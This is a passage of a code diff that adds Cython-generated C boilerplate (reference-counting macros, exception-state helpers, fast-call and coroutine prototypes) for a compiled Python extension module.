(PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if 